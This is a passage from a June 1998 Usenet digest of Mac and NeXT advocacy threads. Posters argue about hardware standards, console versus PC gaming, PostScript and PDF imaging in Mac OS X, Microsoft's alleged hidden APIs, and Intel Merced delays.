>And it's the motive for technological progress.
And can be an impediment to it as well if that differentiation is too
pervasive.
>You're saying to me that you have a problem with
>it, and I just can't see what the problem is, except that it somehow
>seems to offend your upper-middle-class sensibilities. Too colorful, too
>frivolous, too *something*, I guess.
>
>At what level, exactly, do you have a problem, Bob? Is it with certain
>companies, certain markets? Maybe it's with the whole capitalistic
>system itself?
The capitalistic system is fine. My problem is with a distinct lack of
standards adoption in the industry that help insulate progress at one
level from progress at another. I don't want to have my choice of OS
influenced by the kind of ethernet card I have and vice/versa. In *my*
case, software should simply not care about hardware. It's the model that
favors me. The choice of hardware is less important than the services
provided by the software. I need to preserve those services, even at the
expense of choice in hardware.
>> I actually think it all came about when the government started telling
>> automaker that cars had to meet certain standards.
>
>This was unfortunate, but it wasn't the reason.
Odd coincidence, I suppose. That all those choices began to go away when
emissions regulations kicked in and made them, in effect, illegal. No
cause and effect there.
>The Japanese didn't introduce utility (not if you're consistently
>carrying over "utility" from the 67 Chevy). The Japanese introduced
>performance.
Sure they did - for the time. Cheap cars that were easy on gas and
reliable. Nothing sexy about them. Not fast, not cool looking. Little
Hondas, Toyotas, and Datsuns. In the 70's, cars became expensive (because
of gas primarily), and utilitarian as a result. Now gas is cheap, and cars
are moving away from the utility trend. Honda Civics aren't popular, Ford
Explorers are. Sure they *can* be utilitarian and are *called*, but
generally aren't used that way at all.
>Actually, most of them *do*.
Actually some of them do. Some take big, discrete jumps because of a need
to conform to a given standard, and then make itty, bitty little variation
here and there, mostly to overcome problems in implementation, not to
deliver functionality. Communications products are generally like this -
modems, ethernet, etc. The biggest advances that they generally make
between jumps are in price, size, power consumption, etc. But that
standard isolates the product from other layers in the system. What is it
in a 100BaseT card that _requires_ a variation in the OS?
When those standards are infrequent or non-existant, then you get this
long series of marginally significant incremental jumps in technology that
before long develop into something really valuable. 3D, video to a degree,
sound to a degree. The problem is that there are bounding conditions on
most of these: the ability to distinguish sound quality, the resolution,
depth, and refresh rate of monitors, and so on. 3D technology is very far
away from most boundaries, sound pretty close to many.
>Maybe you don't see it, Bob, but that's not
>the fault of the market, is it? Of course the highly visible 3D market
>makes an impact on your consciousness. Perhaps for me the quality of my
>sound card is equally important.
I'm not suggesting that it shouldn't be. I'm suggesting that I should be
able to deploy systems that are not concerned or burdened with sound card
issues. My choice that is valuable to me. Sound technology offers very
little discernable improvements to most markets. Because of that, I prefer
it be taken out of the equation. If you want to re-introduce it for your
own tastes, like you *can* do on the Mac, then by all means go ahead. But
I don't want it to be an issue from the start.
>This doesn't make any sense. I'm trying to imagine a model of simplicity
>in the 3D market that inhibits choice. It doesn't materialize. The 3D
^ doesn't?
>market is based on performance and features and innovation. Simplicity
>can't coexist with those bases.
And I'm saying that Apple *hasn't* introduced a model of simplicity in the
3D market, and therefore you can't relate the lack of 3D hardware to such
a model, since there is no model there. Apple is as open as the PC market
wrt 3D. Lack of AGP is the only missing element that I can see and not yet
a significant one as I understand it.
>What if your ethernet doesn't handle link disconnects well? What if it
>has poor performance? What if it doesn't broadcast AppleTalk well? What
>if it costs $200 simply because it lacks competitors?
That's not innovation. That's poor implementation. A company like Apple
cannot afford to make those kinds of mistakes across an entire product
line. In this case the stakes for Apple go very high and so does my trust
for them. For a PC company, they could realize that their Ethernet card
sucks after I get mine and move to a new one. I'm stuck with a crappy
card. The open model lowers the stakes for the PC mfgr. since it's very
easy to correct on the fly - at my expense, however. I don't imaging this
happens often with the big PC makers, but then they are the ones with the
pricing that is more in line with Apple's. PC buyers are paying for
exactly the same kind of services from them that the Mac buyers have
always paid for. I'm actually not interested in not paying for that
service.
There are competitors, but they compete at the manufacturer level, not the
consumer level.
>Now fire up a new Pentium II machine with an advanced 3D sound card. Put
>some surround-sound speakers on it, turn on the subwoofer, start up
>Total Annihilation, turn on the music, the 3D sound, and turn those
>sound effects way up.
I don't doubt that it sounds great, but only with the surround-sound
speakers, subwoofer, and software that supports all of that for any given
3D sound card. The sound card without the other things is little better
than the 16 bit sound in my Powermac. That's not to take away from the
value of it, rather to bring into focus the percentage of users that
actually benefit from it.
>Compare. You can get home-theater sound in a $200 package that rivals
>the THX technology George Lucas spent millions for. If you can't see
>that, you're just missing the big picture.
I see it just fine. I'm not suggesting that I not have the option of
adding it. I *am* suggesting that I not need to deal with the choice (and
therefore need for support) of a sound card if I see no value in surround
sound. Given a choice of a solution that satisfies only 90% of a market
with the benefit that I can count on it being there and not needing
attention by me unless *I* want to change it, and a solution that
satisfies 100% of a market but cannot be counted on being present and
introduces a potential conflict to each and every user, and I'll choose
the former. When those percentages change, my opinion changes.
>> The specialized user is a different matter. You can pick and choose where
>> and when it's time to say: 'Y'now, it just isn't going to improve quickly
>> enough to subject users to all those issues'. Clearly 3D is nowhere near
>> that point.
>
>"Subject users"? Again, not to offend, but that's highly bolshevik.
>Offering choices to people doesn't "subject them" to anything.
I didn't suggest offering choice subjected them to anything. I suggested
that not giving them basic functionality subjected them to issues. Or
would you prefer that the '86 IP stacks in my Windows box' return? Isn't
it much better now that MS decided that IP stacks weren't going to improve
so dramatically to burden users with having to deal with variation there?
Give them the ability to improve it, sure, but give them basic, reliable
functionality in the meantime.
>> I'm not advocating a closed box, rather I'm trying to steer clear of a box
>> in which each and every item becomes a variable to be dealt with.
>
>How about the network computer? Or the NetPC? Or the sub-$1000 Media-GX
>PC? Those choices are out there, too, Bob. I don't get your point.
I like the ideas of the NC and the NetPC. I don't see that Apple should
turn into a free-for-all for components that you seem to suggest.
-Bob Cassidy
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 3 Jun 1998 13:34:57 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6l4c6j$d78@yobi.sierra.com>
References: <edremy-ya02408000R0206981803490001@nnrp.usc.edu> <B19ADC53-174E2D5@141.214.128.36> <edremy-ya02408000R0306981019150001@nnrp.usc.edu> <justincsNOSPAM-0306981404010001@ip231.pontiac.mi.pub-ip.psi.net>
Justin Case wrote in message ...
>
>NTSC graphics are set at 640x480 @ 30 fps. Colors will only bleed if the
>producer of the game hasn't a clue what NTSC 'safe' colors are. There are
>thousands upon thousands of colors that are NTSC 'safe'. Most computer
>games play at a 'thousands' setting, if not 256 colors, so your point
>is...?
You're pushing NTSC to get 640x480. A lot of TV's just don't have that kind
of resolution. My 60" does.
What good are thousands of colors if those are poor colors? 256 colors can
be 256 very accurate (from a palette of 24bit colors) that are nearly
indistingushable from full 24bit images.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 03 Jun 1998 16:17:04 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35757700.6C6076C0@nstar.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]>
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John Bauer wrote:
> 2%? Whatever Apple's marketshare currently is, I suspect your 2% figure
> is way off. I don't know anyone who owns a PC who has ever replaced
> anything in it, including RAM. I don't know anyone whose first
> introduction to the Internet was *not* through America Online.
I don't know what I'm supposed to take from this...
> My
> point? My sphere of acquaintance may not be representative of the norm,
> but don't assume that yours is, either. After all, you work in the
> industry. Not everyone who uses computers lives and breathes them.
I work in the UNIX workstation industry. My career has almost nothing to
do with my experience in computer hardware (scant as it is in the first
place). I see an enormous market with a component of do-it-yourselfers
large enough to sustain a huge variety of off-the-shelf choices. It has
nothing to do with my personal preference.
[cut]
> > Now that's the brightest thing you've written in this whole post.
>
> I really wish you would stop denigrating the intelligence of those who
> disagree with you.
John, I affirmed his point. I don't know what's insulting about it.
MJP
From: "Paul" <shecky@unsolicited.sprintmail.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 12:33:35 +0100
Message-ID: <6l3tk9$2g$1@newsfep4.sprintmail.com>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>
<6l1p8q$ak3$1@newsfep1.sprintmail.com> <6l23dm$84s$1@nnrp1.dejanews.com>
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In article <6l23dm$84s$1@nnrp1.dejanews.com> , quinlan@intergate.bc.ca
wrote:
In article <6l1p8q$ak3$1@newsfep1.sprintmail.com>,
"Paul" <shecky@unsolicited.sprintmail.com> wrote:
> it makes me wonder what's available for PC's besides
> games...and anyway, I like my Playstation (26" screen, comfy chair,
> component sound).
> It doesn't matter how you unimportant you percieve games to be. It matters
> how much the average user wants them. And besides, your 26" screen is low-
> resolution, your games are too expensive, you can't download demos from
the
> web (you have to pay to rent them), few stragegy games and sims work well
on
> consoles and you paid extra money for your system :)
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Uh...are you stoned?
If you re-read my post, you'll see I didn't make games out to be
unimportant, I merely wondered what the Mac is lacking in software BESIDES
games. My point was, ASIDE from games, there's not really much of a software
shortage for the average home consumer.
By the way, PSX games retail for about $35-$45, they're $2 bucks to rent
from any video store. Last time I looked, most popular PC games went for
about $40-$50.
As far as sim games and strategy games, oh well. I've never missed 'em.
No, I can't download demos from the web. Sony and other companies send them
in the mail to me on a regular basis just for filling out a couple of
surveys...
Yes. I paid "extra money" for my system. $150 total. Thank goodness PC
owners never have to buy anything extra (say, sound cards, video cards,
joysticks) to play games on their PC's, eh? ;)
And finally, what about PSX/Nintendo-only games? Can I play Twisted Metal
III on the PC? Shadows Of The Empire? Finaly Fantasy? Goldeneye? I've
played Resident Evil II on both PC (at a friend's) and on the PSX. I'll
stick with Sony, thanks, for the same reasons I mentioned earlier.
_____________________________________________
"...I'm beyond hostility. Hostility is a sign of weakness."
Bill Griffith
(Zippy the Pinhead)
Remove 'unsolicited' from my address to reply.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Wed, 03 Jun 1998 13:28:28 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0306981328290001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3> <6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3> <6l2q9p$cjt$1@news.cs.tu-berlin.de>
In article <6l2q9p$cjt$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
:> You've hit upon my problem with directly using PS' imaging model. By
:
:No I haven't. I have just explained to you that the limitation you
:have 'hit upon' is not a limitation of the Postscript imaging model
:but a limitation of the Type-1 specification, which is not at all
:the same thing.
Read what I said. I said this is my problem with 'directly using PS'
imaging model.' Not PS' imaging model itself. The problem here is that if
there are common but less 'correct' Postscript implementations floating
around, there's no reasonable place in the imaging system to correct for
them. You also can't easily extend the graphics engine and remain
compatible with Postscript, because you'd be changing Postscript itself.
(Incidentally in GX, font handling was also abstracted so GX's developers
could have 'fixed' some out of spec. fonts on the fly, by clipping or
scaling the offending glyphs or substituting a different font.)
Here's the OpenStep imaging pipeline:
Application->Postscript->Screen
Application->Postscript->Printer
Application->Postscript->Bitmap->Printer
Application->Postscript
Similarly here's the Mac OS X imaging pipeline:
Application->PDF->Screen
Application->PDF->Bitmap->Printer
Application->PDF->Postscript->Printer
Application->PDF
I'd rather see something like the following, which is similar to how GX
was structured. Note how the internal representation is never exposed:
Application->internal representation->Screen
Application->internal representation->Bitmap->Printer
Application->internal representation->PDF
Application->internal representation->Postscript
Application->internal representation->Postscript->Printer
Application->internal representation->QTML
This way Apple can change or enhance the internal representation and
graphic engine, and still implement compatibility with Postscript, PDF,
QTML, and whatever else comes along. It's very MVCish. With PDF and
Postscript, you have the 'problem' in that your model is the same as one
of your views. As long as that fact is *completely* hidden from both
internal and third-party developers, it isn't that huge of an issue. But
that fact wasn't completely hidden in OpenStep, in fact it was touted as a
feature. :) As they remove DPS a lot of nice functionality like NSHosting
& EPS previewing is going with it. IMO, this is due to there not being a
high enough level of abstraction for those services, so something new
couldn't just be plugged in.
Perhaps Apple really is doing something like: Application->internal
representation->PDF in Mac OS X, but it sure doesn't sound like they are.
There's also a question as to why they're not making the new graphics
calls at least appear to be client-server.
:'Lowest common denominator'?! LOL. Just a second ago you were defending
:a much lower common denominator.
Lower in some ways, higher in others. I don't see support for advanced
transfer modes in either Postscript or PDF. I think the various hacks and
kludges used to support transparency in PS that Illustrator and Freehand
have had to use over the years have bugged more users than any coordinate
space limitation would have. I know it's bugged me more. LightningDraw &
UniQorn had much better support for transparency, *years* ago. The sad
thing is that they *still* have much better support. You could do some
pretty whizzy things and still have them print fine.
:> Also, if the
:>:developer has integer coordinates to send, why convert them to float?
:
:Funny, I answered your question in the previous post. Re-read. :-)
Actually, I think you were answering a quote of yourself. :) Just a
sloppy bit of pruning on my part. :)
-Eric
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 3 Jun 1998 16:43:41 GMT
Organization: Rockwell International
Message-ID: <6l3uft$ntc3@onews.collins.rockwell.com>
References: <edremy-ya02408000R0206981803490001@nnrp.usc.edu> <B19ADC53-174E2D5@141.214.128.36>
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In <B19ADC53-174E2D5@141.214.128.36> "Robert A. Decker" wrote:
> On Tue, Jun 2, 1998 8:03 PM, edremy <mailto:edremy@chem1.usc.edu> wrote:
> > It's especially important to new hardware sales.
>
> Why though? This makes no sense to me. A $200 Nintendo 64 absolutely
> blows away the best PC's out there when it comes to game quality. It's not
> even close.
>
> (Personally, I don't play games.)
>
>
> rob
>
There are DIFFERENT games for consoles and PCs. Sure there is some overlap,
but consoles almost exclusively provide access to reflex/action games akin to
the mall arcade. These games typically have no more that 1/2 hour of
continuous play (less for most) and frequently have no game save or data
storage requirements. Also, these games must fit on 1 CD and have a manual
fewer than 20 pages (less for most).
PC games come in wider ranges including 10 CD adventures, 5 CD Riven,
strategy, tactical, network, role-playing, simulation, and puzzle.. The
standard PC game should be entertaining for 40 hours or more (to be worth the
price). The standard PC game will have game save features, large data sets,
multiple modes of play, etc. It is common for PC game manuals to exceed 100
pages and contain loosely related information like a story, the history of
railroads, an almanac of railroad rolling stock, details of civil war battles
with first hand accounts, excerpts from a cultural anthropology text, a
treatise on evolution and mutation, excerpts from a college course on
economics, ...
Many newer PC games use high resolution graphics (> 640 by 480) which are
difficult to display on a TV.
From: "Blair" <blairb1@mail.idt.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 3 Jun 98 18:35:47 -0400
Organization: IDT (Best News In The World)
Message-ID: <B19B4806-A67FD4@169.132.57.68>
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nntp://news.idt.net/comp.sys.mac.advocacy
On Tue, Jun 2, 1998 8:54 PM, John Kheit <mailto:jkheit@xtdl.com> wrote:
>It is. Games, entertainment, etc., that sector is a large and
>growing sector. It's one of the biggest reasons why people buy
>computers, consistently throughout time. Not addressing it, or an
>inability to address it effectively is a gaping hole for the
>platform.
Well, first off, I was under the impression that Apple just last week made
a new commitment to gaming.
However, it scares me that there are people who use games as a major reason
for buying a computer. That's a pretty big cash layout just to play some
games. Of course, it's rather obvious that this is only one of their
reasons. My *guess* (based on talks with many people I know, as well as my
students) is that the other main applications these people use are (1)
Internet-related (mainly NN or IE), (2) word processing, and (in far fewer
cases) (3) spreadsheets. Throw in a few more who will be using databases
and personal finance programs. Of course, you can get all these things on
the Mac, too. (Not to mention that you can always use Virtual PC or
SoftWindows to access Windows-only software.)
Back to the games, though... It's true that many games aren't made for the
Mac. Of course, there are a good amount of Mac games out there, too (some
of which don't have Windows counterparts, I believe.) The only problem is
that you can't find them all in the local computer store; you may have to
cruise the WWW or the catalogs.
Blair Buscareno
(hardly a Dedicated Follower of Gaming, but always up for a diversion)
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
---------------------------------------------------------------------
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
From: Pixel <plearnes@midway.uchicago.edu>
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <EtzLzn.6x8@midway.uchicago.edu>
User-Agent: tin/pre-1.4-980226 (UNIX) (SunOS/5.5.1 (sun4u))
Sender: news@midway.uchicago.edu (News Administrator)
Organization: Screaming Cat
References: <6jgf0l$fvt$1@nnrp1.dejanews.com> <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com> <35c68fc9.353563848@news.supernews.com> <6k6v64$gu7$1@nnrp1.dejanews.com> <357b26b9.31161519@news.supernews.com> <6kkga8$e0l$11@gte2.gte.net> <3571d7d0.5585733@news.supernews.com> <EtuyGM.LCH@midway.uchicago.edu> <6l1vr0$ssg$4@gte2.gte.net>
Date: Wed, 3 Jun 1998 17:59:47 GMT
In comp.sys.next.advocacy Roger <rfelts@.> wrote:
> On Mon, 1 Jun 1998 05:41:09 GMT, someone claiming to be Pixel wrote:
>>My favorite documentation of the nonexistence of the 'chinese wall' is
>>Steve Ballmer's own confession that the wall never existed at all. I
>>forgot where exactly I read it, unfortunately.
> Why doesn't this surprise me?
Give me a fuckin' break. This shit is out there all over the Web and print
media, and you're turning a blind eye to it all, saying, "Where? Where? I
can't see it!" It's because you're not looking! It's right there in front
of your face, and you're not even bothering to open your eyes.
>>Besides that confession, there are also the 'hidden OS API's' that
>>Microsoft developers by some strange reason get long before third party
>>developers get them. For example, when Internet Explorer 3.0 first came
>>out, and it was rated as faster than Netscape Navigator, it was found out
>>that MS had built in API's to make Internet Explorer faster directly into
>>Windows 95. And they neglected to let anyone else know about it. Big
>>surprise.
Here is some evidence of hidden API's built into Windows NT.
www.csn.net/~bediger/nt.sekrits.html
> And this is documented where? C'mon guys, you want me to stop asking
> for proof. I will when you start supplying it.
This is documented all over the Web, in court cases, in magazines, in tons
of places. An Altavista search on "Steve Ballmer" and "chinese wall" hit
18 matches. I'll give you a couple of them
www.sun.com/ACIS/WSGR.txt
www.smartbooks.com/bw705ovrdrvchp.htm
www.usis.usemb.se/sft/sf14107.htm
www.ibpinet.com.br/empreendimentos/artigos/billgate.html
www.around.com/microsoft.html
www.slate.com/COC/96-06-24/wed-0626.asp
www.pbs.org/cringely/archive/oct2397_text.html
billm.2a.com/Newsletters/PC_Week_1994-07-25.txt
www8.zdnet.com/pcmag/issues/1408/pcm00046.htm
>>In addition, back when MS Office didn't have a stranglehold over everyone,
>>and MS still insisted that there was a 'chinese wall', API's were built
>>into Windows to help MS productivity apps that were not released to third
>>party developers.
>>
>>All of this is documented by Microsoft and various other third parties.
> Where?
I've given you a lot of leads. Why don't you open your eyes for a change?
--
Yours,
Pixel
From: justincsNOSPAM@psi.net (Justin Case)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 14:04:01 -0500
Organization: Oh, for the hell of it.
Message-ID: <justincsNOSPAM-0306981404010001@ip231.pontiac.mi.pub-ip.psi.net>
References: <edremy-ya02408000R0206981803490001@nnrp.usc.edu> <B19ADC53-174E2D5@141.214.128.36> <edremy-ya02408000R0306981019150001@nnrp.usc.edu>
-y%"%xcYz/}y+:xU3BN;]\1<'w@TnK1[_d9)>|(Z{XP1+6@2c?w\kAE0l;jn),:.Bl/B
TD(@MtZ''BCd^X}97=;v`4~%bNx+5bYnFhHC!Q4V"\:@XY:sL"B5$$8:54<"mAKy77!l
In article <edremy-ya02408000R0306981019150001@nnrp.usc.edu>,
edremy@chem1.usc.edu (edremy) wrote:
> In article <B19ADC53-174E2D5@141.214.128.36>, "Robert A. Decker"
> <comrade@umich.edu> wrote:
>
> > On Tue, Jun 2, 1998 8:03 PM, edremy <mailto:edremy@chem1.usc.edu> wrote:
> > > It's especially important to new hardware sales.
> >
> > Why though? This makes no sense to me. A $200 Nintendo 64 absolutely
> > blows away the best PC's out there when it comes to game quality. It's not
> > even close.
>
> Actually, you're wrong.
>
> First, while I like shoot-em-up's every now and then, my real interest is
> in strategy games- CivII, Myth, TacOps, Heroes of Might and Magic,
> Warlords, Master of Orion, etc. Very few strategy games exist for
> consoles, and those that do are poor indeed compared to Myth or HOMMII.
Agreed.
> Second, the graphics on a Nintendo _aren't_ better than on a PC. Play a
> shoot-em-up on a console, then play something like Myth, QuakeII or Unreal
> on a top of the line PC with accelerated video. That Nintendo can't do
> 1024x768- hell, it can't even do 640x480. Colors on a TV are horrible-
> they bleed and saturate.
NTSC graphics are set at 640x480 @ 30 fps. Colors will only bleed if the
producer of the game hasn't a clue what NTSC 'safe' colors are. There are
thousands upon thousands of colors that are NTSC 'safe'. Most computer
games play at a 'thousands' setting, if not 256 colors, so your point
is...?
> Third, most consoles don't have Internet play. (Some do have modems now.)
> The AI in any game made today is lame- humans are far better.
Internet play is sluggish on standard modems. Network [LAN] games are
pretty cool, although more than 3 players usually requires another
purchased copy/CD of the game. Like Warcraft for example; 3 player limit
per CD, 256 colors, 640x480 and a strategy game to boot which is sluggish
to play over the Internet!
> The Nintendo64 is pretty amazing given its price, but it's not real
> competition for PC/Mac games.
Agreed about the console/bang for the buck statement. While the PC may
have more stategy games, due to I'm certain the idea that computer users
may be a notch ahead of the 'average' gamers, you cannot discredit the
fact the consoles have a tremendous amount of action games, dwarfing the
amount of those of the PC.
--Justin
"What's new, Normie?"
"Terrorists, Sam. They've taken over my stomach and they're demanding beer."
From: smithw@tank (Dr. William V. Smith)
Newsgroups: comp.sys.next.advocacy
Subject: OpenWrite and Lighthouse
Date: 03 Jun 1998 16:54:20 -0600
Organization: Brigham Young University
Message-ID: <ygcra1614gz.fsf@tank.i-have-a-misconfigured-system-so-shoot-me>
Does anyone know how to get a copy of OpenWrite (cube NS3.3)
registered? I need it to convert some WriteNow files.
Was it worth it? How do you buy it?? You can still
ftp from nextpeak, but nobody is home. Help!
--
Bill Smith, BYU mathematics dept. ph. 378-2061, fax 378-3703
email: bill@mathnx.math.byu.edu, smithw@math.byu.edu
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 3 Jun 1998 18:07:39 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l43db$5dc$1@ns3.vrx.net>
References: <6l14q4$adf$2@ironhorse.plsys.co.uk> <B199A6F7-1B326@206.165.43.1>
<3574D79C.CE3EB26E@trilithon.com>
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Cc: henry@trilithon.com
In <3574D79C.CE3EB26E@trilithon.com> Henry McGilton claimed:
> [and, early in history, NeWS]
Don't get me started!!!
:-)
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Intel Merced delays
Date: 3 Jun 1998 18:20:59 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l446b$5dc$6@ns3.vrx.net>
References: <01bd8eac$145d9b80$04387880@test1> <6l3o21$3ge@post.gsfc.nasa.gov>
<joe.ragosta-0306981116090001@wil87.dol.net>
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Cc: joe.ragosta@dol.net
In <joe.ragosta-0306981116090001@wil87.dol.net> Joe Ragosta claimed:
> Merced is delayed while Intel tries to find new math bugs to incorporate
> and NT 5.0 is delayed for MS to find some unused security bugs.
unused security bugs!!!! I'm using that!
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Intel Merced delays
Date: 3 Jun 1998 18:20:01 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l444h$5dc$5@ns3.vrx.net>
References: <6l1ok3$nm1@newsb.netnews.att.com>
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Cc: gupta@kcopsrm.tm.tta.moc-mirror after @
In <6l1ok3$nm1@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
claimed:
> After the latest news that Intel's Merced has slipped
> delivery to some time in 2000, I did a search to find out
> how much it has slipped overall.
>
> Some sample points :
>
> TechWeb News, April 14, 1997, reports a slip from 1998 to 1999.
>
> PC Week, Jan 22, 1996 reports a slip of the P7 (renamed to Merced)
> from 1997 to 1998.
>
> PC Week, Jan 19, 1993 has an article that says that Intel
> would deliver a 64-bit chip, the P7, in 1995, with the first
> systems shipping in 1996.
Har!!! Anothe excellent post.
Another post you should use when anyone claims you're "pc-biased".
Maury
From: edremy@chem1.usc.edu (edremy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 16:55:42 -0700
Organization: USC Chemistry
Message-ID: <edremy-ya02408000R0306981655430001@nnrp.usc.edu>
References: <35749ed6.0@206.25.228.5> <B19B4806-A67FD4@169.132.57.68>
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In article <B19B4806-A67FD4@169.132.57.68>, "Blair" <blairb1@mail.idt.net>
wrote:
> However, it scares me that there are people who use games as a major reason
> for buying a computer. That's a pretty big cash layout just to play some
> games. Of course, it's rather obvious that this is only one of their
> reasons. My *guess* (based on talks with many people I know, as well as my
> students) is that the other main applications these people use are (1)
> Internet-related (mainly NN or IE), (2) word processing, and (in far fewer
> cases) (3) spreadsheets. Throw in a few more who will be using databases
> and personal finance programs. Of course, you can get all these things on
> the Mac, too. (Not to mention that you can always use Virtual PC or
> SoftWindows to access Windows-only software.)
Yep. Given that for the vast majority, the exact same "work" programs
exist on Mac and PC (MS Office, ClarisWorks, Netscape, MSIE, Quicken)
what's the differentiation? Well, PCs have a ton more games. Why not buy
the system with the games? (Softwindows really isn't a good option for
most games.)
As far as the cash outlay, big expense compared to what? I drive a sports
car- when I bought it (used), I could have bought a Honda Civic cheaper.
The RX-7 is more fun to drive though. (BTW, I'm moving soon and I'm not
going to take it with me. Anyone in So. Cal. want an '85 RX-7 cheap?)
Do you play golf? How much do the clubs cost? How about green fees? How
about people who like to fly for relaxation?
The extra $500 it takes to make a basic PC into a game machine is pretty
cheap in comparision. I don't own a lot of games, but on average I've
spent at least 100 hours playing those I like. (HOMMII, Civ, Escape
Velocity.) $0.50/hour for a $50 game. Now that's cheap entertainment.
> Back to the games, though... It's true that many games aren't made for the
> Mac. Of course, there are a good amount of Mac games out there, too (some
> of which don't have Windows counterparts, I believe.)
Well, not really. With the exception of Ambrosia and a few shareware
people, there really aren't any Mac-only game companies. We get the best
PC games for the most part, but usually late. I like the fact that Apple's
trying to push games again- they never should have stopped.
--
Eric R. edremy@chem1.usc.edu
Director of Instructional Computing, USC Chemistry
"See, I told you they'd listen to Reason"- Fisheye, _Snow Crash_
If you think I speak for USC, see your doctor now.
From: t=*ryan@tensor.com (Ryan Dingman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenWrite and Lighthouse
Date: 4 Jun 1998 00:11:07 GMT
Organization: Ball State University
Message-ID: <6l4omr$8gl@wizard.bsu.edu>
References: <ygcra1614gz.fsf@tank.i-have-a-misconfigured-system-so-shoot-me>
smithw@tank (Dr. William V. Smith) wrote:
>Does anyone know how to get a copy of OpenWrite (cube NS3.3)
>registered? I need it to convert some WriteNow files.
>Was it worth it? How do you buy it?? You can still
>ftp from nextpeak, but nobody is home. Help!
You can download it from Peak. ftp.peak.org You get a free 2 user license.
--
ryan
-----------------------------------------------------------------------------
Ryan Dingman
Tensor Information Systems, Inc.
ryan@tensor.com
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 3 Jun 1998 22:34:35 GMT
Organization: MiscKit Development
Message-ID: <6l4j1r$ml5$1@news.xmission.com>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1 <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com> <357498E0.8F6C80B3@nstar.net> <slrn6napbm.5pt.sal@panix3.panix.com> <35757CB5.6CDC6D14@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Listening to good wave music on two different cards (one with a
> wavetable and one without) yields dramatically different results. One of
> my machines has the Sound Blaster 16 I mentioned previously; it requires
> an upgrade for a wavetable. My brother's Ensoniq SoundScape has a
